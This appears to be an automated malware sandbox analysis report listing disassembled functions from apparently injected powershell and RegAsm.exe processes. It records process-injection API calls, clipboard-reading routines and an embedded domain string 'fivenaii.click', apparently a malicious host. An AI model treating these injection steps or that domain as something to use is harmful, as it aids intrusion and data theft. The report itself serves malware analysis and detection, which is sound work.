Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 008B6800

Memory Dump Source

Source File: 00000018.00000002.1833885028.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_8b0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 34a281ab2c6b748919181bb8e115c2d32eccede17e5d49899e8989a7116f5548
Instruction ID: b9e97a2655e3955eaf1c8bfb9b9faba95e7604dad4649b5e8510d926324d1c6c
Opcode Fuzzy Hash: 34a281ab2c6b748919181bb8e115c2d32eccede17e5d49899e8989a7116f5548
Instruction Fuzzy Hash: 192166B19003099FCB10DFA9C881BDEBBF4FF48320F10842AE958A7350D7789954CBA4

Function 008B65D1 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 008B6656

Memory Dump Source

Source File: 00000018.00000002.1833885028.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_8b0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ac37b1b9b150716ba2173eb9e5ebe7a8b83ecf9b7dfad4eb956d0a4df85109fb
Instruction ID: d746e735488d9da96b6a3734de4fc88afd68822e2c703228896658779e0e1ee1
Opcode Fuzzy Hash: ac37b1b9b150716ba2173eb9e5ebe7a8b83ecf9b7dfad4eb956d0a4df85109fb
Instruction Fuzzy Hash: C72157B59002098FDB10DFA9C5857EEBBF4FF48320F10842AD459A7240D7789A85CFA4

Function 008B65D8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 008B6656

Memory Dump Source

Source File: 00000018.00000002.1833885028.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_8b0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 11b84b46c76771bc692b67286afbc2f2f5dbba22f3a0b0bbeda322eb127f9c17
Instruction ID: 608adae44c02043e1c8cc71d216c1bb70dedd031ea972cad4fb425a3607c6e32
Opcode Fuzzy Hash: 11b84b46c76771bc692b67286afbc2f2f5dbba22f3a0b0bbeda322eb127f9c17
Instruction Fuzzy Hash: AB2138B19002098FDB10DFAAC4857EEBBF4EF49324F148429D559A7240DB78A984CFA4

Function 008B6521 Relevance: 1.6, APIs: 1, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 008B658A

Memory Dump Source

Source File: 00000018.00000002.1833885028.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_8b0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5adb85ba95ce3a443110e74d55f5a41d653981591c3cf82e981c351a73392260
Instruction ID: e5db904731ac7af92543c7c76af3a7a67cb68802055c090431c12b6362603a48
Opcode Fuzzy Hash: 5adb85ba95ce3a443110e74d55f5a41d653981591c3cf82e981c351a73392260
Instruction Fuzzy Hash: 4B1158B59002488FDB20DFA9C5457DEFBF4EB48324F20881AC159A7254D738A644CFA4

Function 008B6528 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 008B658A

Memory Dump Source

Source File: 00000018.00000002.1833885028.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_8b0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4fc674271029c86b6820c9ed7e870b69aaa6427278b7e7b02d92e69d131ce3b2
Instruction ID: 2d479a76f055014b6324f6bf0cc0b4b8f3f658dd23ef3f996fb65d667c528171
Opcode Fuzzy Hash: 4fc674271029c86b6820c9ed7e870b69aaa6427278b7e7b02d92e69d131ce3b2
Instruction Fuzzy Hash: FC1136B19002488FDB20DFAAC4457DEFBF4EB88324F248429D559A7254DB79A944CFA4

Function 06DC2583 Relevance: 1.3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06DC2646

Memory Dump Source

Source File: 00000018.00000002.1928352238.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 7827c6e3bbdd8eb3bc4019e58fe30265d68261de210ad463cc5e7e6c08868c89
Instruction ID: ab7a095dab9b99c69618543c50f71e2ead887052f7e2ab5d6ac83aef3a88b51f
Opcode Fuzzy Hash: 7827c6e3bbdd8eb3bc4019e58fe30265d68261de210ad463cc5e7e6c08868c89
Instruction Fuzzy Hash: 15216A70E5560ADFCBA5CF65C944A66BBF1BB45320F1980AEC4048B122D734DA45CBE2

Function 0061D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1829152667.000000000061D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0061D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_61d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69d949e6c50c0c885a6c193022bb8cf714609258579c2a67b04e7eec11061
Instruction ID: abb2bd90a0f11c9febd5919fa3ffd5af19ca89a9bf5ae97824dacaefb6bd8b90
Opcode Fuzzy Hash: bea69d949e6c50c0c885a6c193022bb8cf714609258579c2a67b04e7eec11061
Instruction Fuzzy Hash: 8601406140E3C05ED7128B258894792BFB4DF57225F1DC0DBD9888F2A7C2695849C772

Function 0061D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1829152667.000000000061D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0061D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_61d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dd4bf0fe0821107feb4f63d0f6d91f9c25ac24a77b7e9d069c2d963aa3cee5d
Instruction ID: 0fcd012a91f4e8f040c33b1704265d8a9db3ac44468d842bff33085d1ca3ec0a
Opcode Fuzzy Hash: 9dd4bf0fe0821107feb4f63d0f6d91f9c25ac24a77b7e9d069c2d963aa3cee5d
Instruction Fuzzy Hash: F001F231408340AAE7108E2AC9C4BE7BF98EF49325F1CC46AED480A246C27998C2C6B1

Non-executed Functions

Function 06DC0220 Relevance: 6.4, Strings: 5, Instructions: 121COMMON

Download Yara Rule

Strings

$^q, xrefs: 06DC02E3
$^q, xrefs: 06DC02BB
4'^q, xrefs: 06DC02FA
$^q, xrefs: 06DC02D7
4'^q, xrefs: 06DC0306

Memory Dump Source

Source File: 00000018.00000002.1928352238.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 53f2350156a67c3c036cb65f001476dfe3568e1dcd02c73ae00964853cc72113
Instruction ID: 36eaf2975598c6fbe4bf6403736e0aa707c361c379be35dcc13393208bda792e
Opcode Fuzzy Hash: 53f2350156a67c3c036cb65f001476dfe3568e1dcd02c73ae00964853cc72113
Instruction Fuzzy Hash: 7A41D031F0020ECFDBA88FA9D554A6AB7F1BB84230F10857ED4558B215EB33C885CB91

Function 06DC110B Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06DC117F
$^q, xrefs: 06DC115E
4'^q, xrefs: 06DC1173
$^q, xrefs: 06DC1152

Memory Dump Source

Source File: 00000018.00000002.1928352238.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 35d682ffd1ca3f37750073389c7e97a583e138b0ec5149215686881a9350fc28
Instruction ID: ff1bff7491958a263f0a221f15459da0fa8d86967eb3558dd36127319b0878e3
Opcode Fuzzy Hash: 35d682ffd1ca3f37750073389c7e97a583e138b0ec5149215686881a9350fc28
Instruction Fuzzy Hash: CA017120B4E39A4FD36B1B681C201156FF69F93560729459FC081DF3A7CE5A8D4A83A6

Analysis Process: RegAsm.exePID: 7548, Parent PID: 7824COMMON

Non-executed Functions

Function 01443EB4 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2108864225.0000000001439000.00000004.00000020.00020000.00000000.sdmp, Offset: 01439000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1439000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b991acb19f42640ddd8c42c6ce556beb547adb66cdb811e52f558d01a0f7852b
Instruction ID: 0982e6bff08310c25fa1ed662f1c59d8a7d45df0e1aeae01362462e5887a0708
Opcode Fuzzy Hash: b991acb19f42640ddd8c42c6ce556beb547adb66cdb811e52f558d01a0f7852b
Instruction Fuzzy Hash: 0851D07145E3D28FC3038F388869695BFB0EF0321472945DED0C08F1A3E729955ACB96

Analysis Process: RegAsm.exePID: 6424, Parent PID: 7760COMMON

Executed Functions

Function 00408600 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 351
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408624
GetCurrentThreadId.KERNEL32 ref: 0040862E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004087FA
GetForegroundWindow.USER32 ref: 00408974

Part of subcall function 0040B7B0: FreeLibrary.KERNEL32(00408A31), ref: 0040B7B6
Part of subcall function 0040B7B0: FreeLibrary.KERNEL32 ref: 0040B7D7

ExitProcess.KERNEL32 ref: 00408A4A

Strings

}, xrefs: 00408913
b]u), xrefs: 00408877
}, xrefs: 0040890C

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: b]u)$}$}
API String ID: 3676751680-2900034282
Opcode ID: 6a07f0384f71d87041b62ad58867324155b1be50ba3e74cb306905e4ea8226d7
Instruction ID: 3bf81113ce60e3950654fa87f9b5bc85db09618474996d7b9c4e13ef7b0d228f
Opcode Fuzzy Hash: 6a07f0384f71d87041b62ad58867324155b1be50ba3e74cb306905e4ea8226d7
Instruction Fuzzy Hash: C4C1E673E187144BC708DF69C84125AF7D6ABC8710F0AC53EA898EB391EA74DD048BC6

Function 0043E110 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0044148A,?,00000018,?,?,00000018,?,?,?), ref: 0043E13E

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00408A50 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction ID: c6ef65a4040eb9722264cce64ace65176086622d4161082164e2e1e487573ca7
Opcode Fuzzy Hash: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction Fuzzy Hash: E121C837A62B184BD3108E54DCC87917761E7D9318F3E86B8C9249F7D2C97BA91386C0

Function 00409D1E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000), ref: 00409D98
LoadLibraryExW.KERNEL32(?,00000000), ref: 00409E78

Strings

CKI, xrefs: 00409E85

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: CKI
API String ID: 1029625771-2433779057
Opcode ID: 46ebf1f11a428727df2c69ed2ddcf1f0c4f78635cb5cf24ba122c25d2125fb43
Instruction ID: 9df50abc4230604fad3af689b86cbcfc4f62151ff32a39ed9a717dc759385280
Opcode Fuzzy Hash: 46ebf1f11a428727df2c69ed2ddcf1f0c4f78635cb5cf24ba122c25d2125fb43
Instruction Fuzzy Hash: 1041EFB4D003009FEB149F789992A9A7F71EB06324F5152ADD4902F3E6C635981A8BE6

Function 0043E34B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043E3BA

Strings

, xrefs: 0043E365, 0043E37C

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-3019521637
Opcode ID: 1a0742d174ed02cdc22a72f35ed7972a2a7288d22f9a72e178f62dae787fe3a6
Instruction ID: 528e16a96f9d9f00b26d3e5e14e5fe829b229e0aa49aafaba4eb36a7b6cd6e75
Opcode Fuzzy Hash: 1a0742d174ed02cdc22a72f35ed7972a2a7288d22f9a72e178f62dae787fe3a6
Instruction Fuzzy Hash: FA112B7AE418614BEF08CF39DC171AA77A2B3C5325B2D56B98816E32D0DA3C5C068A84

Function 0040EF53 Relevance: 3.1, APIs: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040EF57
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040F09C

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c72aef12464a92cc2c3f2d51aa4abadf574ffcca3a61543972ef4f2091f679da
Instruction ID: f51fb2f77ad80b64b0419191bf69b8e44a6001040ca864f0c8a1fa7d7adef59f
Opcode Fuzzy Hash: c72aef12464a92cc2c3f2d51aa4abadf574ffcca3a61543972ef4f2091f679da
Instruction Fuzzy Hash: 9341C6B4C10B40AFD370EF399A0B7137EB8AB05250F504B1DF9E6866D4E231A4198BD7

Function 0040EC77 Relevance: 3.0, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040EC89
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040ECA2

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: fb62f50cd5accdd3f8c0e7536e39a1f07535dd0835aa916c8da64f7b89d0cef8
Instruction ID: 738adb6083984dd8bacecb44fa1de3dd99d04845307cbd3813f349a55eb87af8
Opcode Fuzzy Hash: fb62f50cd5accdd3f8c0e7536e39a1f07535dd0835aa916c8da64f7b89d0cef8
Instruction Fuzzy Hash: 8BE042783D97417BF6795B14ED57F143225AB86F26F304314B7253D6E58AE03201451D

Function 0043E3A9 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043E3BA

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 0e9d24a3901733470457e1249cc7f7470b5df7d452cc394c81079ce9d69cb8f4
Instruction ID: 5efd1ee9a03ea3c3eb0c12d762aaad34ed982eea5bb01117e5cc31371429f0ae
Opcode Fuzzy Hash: 0e9d24a3901733470457e1249cc7f7470b5df7d452cc394c81079ce9d69cb8f4
Instruction Fuzzy Hash: 29F0A0FEE805528FDB04CF55EC5446533A3B7D930631D8479D501A3229DE74A902DA45

Function 0043C570 Relevance: 1.5, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043E0F9), ref: 0043C590

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 4ca71c55d9fe9b281f7981d367328e1df5632f63ab8c1559b6560bf0dd0d3b5a
Instruction ID: b893ccae00c0100e086c015fd95e4a651a52546402759b79cf5975c20580b1f3
Opcode Fuzzy Hash: 4ca71c55d9fe9b281f7981d367328e1df5632f63ab8c1559b6560bf0dd0d3b5a
Instruction Fuzzy Hash: 28D01231815232FBC6102F28BC05BCB3B54DF5A321F0708A2F404AB075C764EC91DAD8

Function 0043C55B Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043C561

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1e4e484f05b9e0d440bcaef072417b378b3908eb1398e6cf47b9ef0a4f9b27b4
Instruction ID: acefbe7e0d7c30d89c71afa01d78d71c03f6ee103d6cd382e15fa3716b8bb47b
Opcode Fuzzy Hash: 1e4e484f05b9e0d440bcaef072417b378b3908eb1398e6cf47b9ef0a4f9b27b4
Instruction Fuzzy Hash: 13A012310401109AC5111B10BC08FC53E10DB05221F020051F000040B28260C841C584

Function 0040DDBB Relevance: 1.3, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 0040DDC3

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: 0a614a96431d9d701f40230e0772b67ec7475a12848427324b9a6d407e3c9b36
Instruction ID: 5bb00a4b7ef97e9f22d5c03d32b859c0f98b2e4320e2e689d4767ab94f51e1d5
Opcode Fuzzy Hash: 0a614a96431d9d701f40230e0772b67ec7475a12848427324b9a6d407e3c9b36
Instruction Fuzzy Hash: BBC0807C61C0018BC708D731EC2643732569F8B34D724443ED40785357DB7465114A4D

Non-executed Functions

Function 00422E6D Relevance: 50.5, APIs: 3, Strings: 25, Instructions: 1504COMMON

Download Yara Rule

Strings

"7B, xrefs: 00423719
s, xrefs: 00422FCA
g}zh, xrefs: 00422F27
I, xrefs: 00423048
_^]\, xrefs: 00422EA5
9#', xrefs: 00423040
JOSP, xrefs: 00422F6F
CNF8, xrefs: 00422F3F
=]=_, xrefs: 00423D0E
eN, xrefs: 004241BA
Fm, xrefs: 004231F2
~SS}, xrefs: 00422F37
Q*RG, xrefs: 00422F5F
R03!, xrefs: 00422F77
p7B, xrefs: 004238C0
+A#C=]=_, xrefs: 00423F9D
- $f, xrefs: 00423038
_^]\, xrefs: 00423695
V], xrefs: 004231FA
rp, xrefs: 00423FF3
fivenaii.click, xrefs: 004233BD
%", xrefs: 0042334A
].n^, xrefs: 00422F57
8]pY, xrefs: 00422EFF
wdnf, xrefs: 00422F07

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "7B$%"$+A#C=]=_$- $f$8]pY$9#'$=]=_$CNF8$Fm$I$JOSP$Q*RG$R03!$V]$].n^$_^]\$_^]\$eN$fivenaii.click$g}zh$p7B$s$wdnf$~SS}$rp
API String ID: 0-3565097191
Opcode ID: e7edffdd5fd14d72b39b69682efa331384b3f5ec70a2e9e708273cc4b8c2f64b
Instruction ID: c461727374bb2b2ad86d2c2bcda0cf258ef6ef710b96b519a2ac6f34890c1cf1
Opcode Fuzzy Hash: e7edffdd5fd14d72b39b69682efa331384b3f5ec70a2e9e708273cc4b8c2f64b
Instruction Fuzzy Hash: 4CB241B5A08311CFD714CF29D8816ABBBF2FF86310F19856DE4859B391D7389902CB96

Function 00433E30 Relevance: 33.4, APIs: 6, Strings: 13, Instructions: 116clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433E44
GetClipboardData.USER32 ref: 00433E5F
GlobalLock.KERNEL32 ref: 00433E78
GetWindowLongW.USER32 ref: 00433ED7
GlobalUnlock.KERNEL32 ref: 00433FA9
CloseClipboard.USER32 ref: 00433FB4

Strings

6, xrefs: 00433F10
-, xrefs: 00433F1F
q, xrefs: 00433EE8
;, xrefs: 00433F0B
8, xrefs: 00433F01
5, xrefs: 00433EF2
=, xrefs: 00433EF7
L, xrefs: 00433EFC
}, xrefs: 00433F15
(, xrefs: 00433F1A
', xrefs: 00433EED
*, xrefs: 00433F24
I, xrefs: 00433F06

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: '$($*$-$5$6$8$;$=$I$L$q$}
API String ID: 2832541153-2064290267
Opcode ID: e5da5b9a56329a51e64cc872523e0dfe2627c190021f4751e0eab4ab2fc29bc9
Instruction ID: e1340490ca777862a7890bfc042d0e04e3e37fcf4304b8f7f5516f793469ed24
Opcode Fuzzy Hash: e5da5b9a56329a51e64cc872523e0dfe2627c190021f4751e0eab4ab2fc29bc9
Instruction Fuzzy Hash: E0417FB150C3818ED301AF78958835EFEE0AB89319F04497EE4C987292D7BD8689C757

Function 004239B9 Relevance: 18.3, APIs: 3, Strings: 7, Instructions: 821COMMON

Download Yara Rule

Strings

=]=_, xrefs: 00423D0E
":B, xrefs: 00423A0E
p7B, xrefs: 004238C0
eN, xrefs: 004241BA
_^]\, xrefs: 00423865
+A#C=]=_, xrefs: 00423F9D
rp, xrefs: 00423FF3

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ":B$+A#C=]=_$=]=_$_^]\$eN$p7B$rp
API String ID: 0-2092896893
Opcode ID: ed0750c71e1987e5a6d7bbb2feff7f6cba7481729a1a1e0e14759066178fedbc
Instruction ID: 182eaf4e6841349a8ef13573fe29d1f0c1c004a6e50f6283d231cbe69a191b93
Opcode Fuzzy Hash: ed0750c71e1987e5a6d7bbb2feff7f6cba7481729a1a1e0e14759066178fedbc
Instruction Fuzzy Hash: 594267B5B04211CFD714CF28D8816AABBB2FF8A311F1A81BDD4459B395D738D942CB85

Function 00411D2B Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 479COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 00411EC3

Strings

8, xrefs: 00411EEA
a, xrefs: 004121E6
?, xrefs: 00411EE2
^, xrefs: 00412034
|, xrefs: 00412267
p, xrefs: 00412095
[, xrefs: 004121EB
y, xrefs: 00411EF2
L, xrefs: 00411D8F

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 8$?$L$[$^$a$p$y$|
API String ID: 237503144-3949209405
Opcode ID: 4a8879f59250b1b40dd97a34ff5c93777886415510556bea7e1a63f8662ddf82
Instruction ID: f3e99263922766072051b57ffb7fb6feee41006b6636dbb619e47a4599fab130
Opcode Fuzzy Hash: 4a8879f59250b1b40dd97a34ff5c93777886415510556bea7e1a63f8662ddf82
Instruction Fuzzy Hash: 3512A17160C7808BC324DB38C5913EFBBE1AF85314F184A2EE9D9D7392D67898858B47

Function 00427740 Relevance: 16.6, Strings: 13, Instructions: 338COMMON

Download Yara Rule

Strings

Z)o+, xrefs: 00427F8E
r, xrefs: 0042831A
!A/C, xrefs: 00427FD0
P-X/, xrefs: 00427F99
$Y)[, xrefs: 00427FBA
f!V#, xrefs: 00427F78
S%g', xrefs: 00427F83
O=q?, xrefs: 00427F6D
DE, xrefs: 00427FDB
}5x7, xrefs: 00427F57
1Q>S, xrefs: 00427FA4
}9F;, xrefs: 00427F62
s1z3, xrefs: 00427F4C

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !A/C$$Y)[$1Q>S$DE$O=q?$P-X/$S%g'$Z)o+$f!V#$r$s1z3$}5x7$}9F;
API String ID: 0-3413813421
Opcode ID: 458a8bf2b899d5374d71cf77dcf3c349152665624c54811c7463cc9c4c7509d7
Instruction ID: 5d18dcd57d5afae5d2d04a22ff7efa295b4e1cb49f3d19f2d9ec184adb64bcbb
Opcode Fuzzy Hash: 458a8bf2b899d5374d71cf77dcf3c349152665624c54811c7463cc9c4c7509d7
Instruction Fuzzy Hash: FBC1DFB460C3418FE724DF25D85176BBBF1EF81304F05496DE5998B3A2D7388906CB9A

Function 0041C8A0 Relevance: 15.6, Strings: 12, Instructions: 585COMMON

Download Yara Rule

Strings

MO, xrefs: 0041CD10
"nl, xrefs: 0041CC10
*", xrefs: 0041CE7A
AC, xrefs: 0041CCF8
\701, xrefs: 0041CF55
wt, xrefs: 0041CB3E
a`|v, xrefs: 0041C8A1
pv, xrefs: 0041CB36
\701, xrefs: 0041CF0C, 0041CF03
4UW, xrefs: 0041CCE0
#M%O, xrefs: 0041C9FA
uvw, xrefs: 0041CA0A

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "nl$#M%O$*"$4UW$\701$\701$a`|v$wt$AC$MO$pv$uvw
API String ID: 0-635595044
Opcode ID: 667693208df0268b9ec092dcfe9b45baca584c7d5a41cd89dd0410bc245c86b8
Instruction ID: cacfe30d0b9b21159c86ccf72fc2d8f2746876e9854ab90a0990479cac9f29fc
